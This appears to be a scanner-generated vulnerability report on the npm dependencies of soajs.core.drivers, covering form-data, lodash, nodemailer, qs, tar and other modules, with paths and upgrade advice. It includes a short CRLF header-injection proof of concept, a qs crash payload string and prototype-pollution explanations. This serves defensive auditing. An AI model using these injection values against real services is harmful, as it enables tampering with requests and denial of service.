Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › form-data@2.3.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.
PoC
const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());
Remediation
Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.15
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › lodash@4.17.15Remediation: Upgrade to lodash@4.17.23.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.23 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.15
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › lodash@4.17.15Remediation: Upgrade to lodash@4.18.1.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
medium severity
new
- Vulnerable module: minimatch
- Introduced through: rimraf@3.0.0, kubernetes-client@8.3.4 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › rimraf@3.0.0 › glob@7.2.3 › minimatch@3.1.5Remediation: Upgrade to rimraf@4.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › shelljs@0.8.5 › glob@7.2.3 › minimatch@3.1.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › rimraf@2.7.1 › glob@7.2.3 › minimatch@3.1.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › npm-packlist@1.4.8 › ignore-walk@3.0.4 › minimatch@3.1.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bunyan@1.8.14 › mv@2.1.1 › rimraf@2.4.5 › glob@6.0.4 › minimatch@3.1.5
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) in the firstPhasePreProcess method, where the **/.. transform clones a globParts entry and pushes the clone back onto the same array inside a do...while (didSomething) fixpoint loop. An attacker can exhaust CPU and memory by supplying a glob pattern whose **/.. sequences regenerate entries during preprocessing, which secondPhasePreProcess then compares in an O(n^2) pairwise partsMatch pass over the expanded set. Exploitation requires the pattern to be parsed with optimizationLevel set to 2 or higher.
Remediation
Upgrade minimatch to version 11.0.1 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.
Remediation
Upgrade nodemailer to version 8.0.5 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.17.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of quoted local-parts containing @. An attacker can cause emails to be sent to unintended external recipients or bypass domain-based access controls by crafting specially formatted email addresses with quoted local-parts containing the @ character.
Remediation
Upgrade nodemailer to version 7.0.7 or higher.
References
medium severity
- Vulnerable module: qs
- Introduced through: request@2.88.0, ms-rest-azure@2.6.2 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › qs@6.5.5
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Uncaught Exception in the isBuffer() function in lib/utils.js, which calls obj.constructor.isBuffer(obj) without checking that it is callable, reached from stringify() at lib/stringify.js:127. An attacker can throw an uncaught TypeError that fails each request with HTTP 500, and terminates the worker process when stringify() runs in an unguarded async context, by supplying a query string such as x[constructor][isBuffer]=y that sets constructor.isBuffer to a non-function value. This requires the application to call qs.parse() with plainObjects: true or allowPrototypes: true, which preserves the constructor own property, and to then pass the parsed result to qs.stringify().
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade qs to version 6.16.0 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.
Remediation
Upgrade tar to version 7.5.16 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.
Remediation
Upgrade tar to version 7.5.17 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade tar to version 7.5.21 or higher.
References
medium severity
- Vulnerable module: traverse
- Introduced through: traverse@0.6.6
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › traverse@0.6.6Remediation: Upgrade to traverse@0.6.12.
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the set method, which fails to restrict path segments to own properties. When a path crosses a primitive value, assigning a __proto__ segment silently descends into the primitive's built-in prototype rather than throwing, allowing an attacker to set properties on String.prototype or other built-in prototypes. Additionally, a path segment that is an object is coerced anew on each use, meaning a segment whose toString produces different values on successive calls can reach Object.prototype.
Workaround
Users who are not able to upgrade to the fixed version are advised to not pass untrusted paths to set(). If that is not possible, require every path segment to be a string other than __proto__, constructor, or prototype, and confirm that each intermediate value along the path is an object before calling set().
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade traverse to version 0.6.12, 0.5.3, 0.4.7, 0.3.10 or higher.
References
medium severity
- Vulnerable module: uri-js
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
